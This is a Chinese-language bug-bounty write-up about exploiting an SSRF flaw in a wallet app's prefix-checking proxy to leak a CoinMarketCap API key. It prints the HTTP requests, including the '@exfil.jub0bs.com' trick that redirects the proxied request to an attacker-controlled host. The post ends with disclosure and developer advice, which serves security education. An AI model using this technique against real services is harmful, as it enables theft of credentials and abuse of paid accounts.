利用SSRF漏洞窃取API密钥:一场真实的服务器端请求伪造攻击剖析

本文详细描述了如何通过服务器端请求伪造(SSRF)漏洞绕过代理验证,成功窃取目标平台的CoinMarketCap API密钥,揭示了URL解析不当带来的严重安全隐患。

利用SSRF漏洞泄露机密API密钥

服务器端请求伪造(SSRF)是一种安全漏洞类型,其本质是诱骗服务器向非预期主机发送网络请求。在某些情况下(如Scott Helme的安全头部工具),允许用户触发从某些后端到任意主机的HTTP请求是一项功能。但在许多其他情况下,这是一个严重的安全漏洞,可能使攻击者对易受攻击服务器背后的组织造成严重破坏。

一个有趣的代理

这一切始于一个引人注目的代理。为了促进钱包操作,该应用向用户提供当前汇率,这些汇率会在UI中定期刷新。通过Burp检查网络流量时,我注意到以下形式的请求:

1
https://proxy.example.org/https://pro-api.coinmarketcap.com/v1/cryptocurrency/quotes/latest?symbol=BTC&convert=USD

URL路径中包含另一个URL(而不是查询字符串中)让我感到奇怪,这似乎是漏洞潜伏的好地方。

代理的角色

查阅CoinMarketCap API文档后,我找到了答案:

目前禁止在客户端使用JavaScript进行HTTP请求[…]。这是为了保护您的API密钥,不应让应用程序用户看到,以免API密钥被盗。通过您自己的后端服务路由调用来保护API密钥。

这很有道理。因为使用CoinMarketCap API需要付费账户和保密的API密钥,目标不能简单地从其前端查询API:这样做确实会迫使目标在其客户端源代码中披露其API密钥。

一个令人惊讶的简单绕过

如果我能够伪造一个发送到我控制的主机的请求,我可能能够披露敏感信息,包括目标的CoinMarketCap API密钥。经过一些测试,我很快注意到一个有趣的行为:每当我提交以https://pro-api.coinmarketcap.com开头的URL时,代理会响应502 Bad Gateway,而不是200 OK或400 Bad Request。

我解释这种可观察到的行为差异为提示,代理只要求用户提供的URL具有预期的前缀:如果有,代理将服从并尝试向指定主机发送请求。为了证实我的直觉,我决定运行另一个测试,这次指定预期主机但将方案从https替换为http:

1
2
3
4
5
6
GET /http://pro-api.coinmarketcap.com HTTP/1.1
Host: proxy.example.org
--snip--

HTTP/1.1 400 Bad Request
--snip--

非常有希望!这向我表明,绕过代理不小心的URL验证确实是可能的。

利用@符号进行误导

正如James Kettle(又名albinowax)所写:

经常被忽视的使用@创建误导性URL的能力经常有用。

通过向URL的主机部分追加@attacker-site.com,你通常可以诱使不小心的服务器向attacker-site.com发送请求,而不是最初预期的主机。这个技巧一次又一次地对我有效,这次也不例外。

通过发出以下请求,我再次能够从代理获得502 Bad Gateway响应:

1
2
3
4
5
6
GET /https://pro-api.coinmarketcap.com@exfil.jub0bs.com HTTP/1.1
Host: proxy.example.org
--snip--

HTTP/1.1 502 Bad Gateway
--snip--

通过代理发现的内容

相关的日志条目包含一些次要重要性的信息。特别地,我了解到我的伪造请求包含以下头部:

1
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)

这揭示了代理是用Node.js编写的,并使用NPM模块node-fetch来使用CoinMarketCap API。

当然,目标的CoinMarketCap API密钥是真正的奖品;它就在一个名为X-CMC_PRO_API_KEY的头部中。我启动curl并使用刚从目标窃取的API密钥向https://pro-api.coinmarketcap.com/v1/key/info发送GET请求。

响应显示目标使用的是CoinMarketCap的Startup计划,该计划施加了一些速率限制,并为订阅者提供适度的每日信用额度。一个粗略的计算告诉我,攻击者可以在不到12分钟内耗尽目标的每日信用额度,从而剥夺目标在当天剩余时间内获取最新汇率的能力。

解决方案

我向目标报告了我的发现,并敦促他们在修复代理的URL验证后撤销其CoinMarketCap API密钥。我得到了目标的及时和感激的回复,最终奖励了我当时价值约1000美元的加密货币代币。

结论

如果您是开发人员,请不要轻视URL解析:它通常对安全至关重要,但充满危险。使用经过验证的URL解析库,而不是依赖普通或自定义的字符串处理函数。

如果您是一名初出茅庐的黑客,我希望这篇文章激发了您对服务器端请求伪造的兴趣。如果您想更深入地了解粗糙的URL解析和SSRF之间的相互作用,您会喜欢Orange Tsai在DEF CON 25上的演讲。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计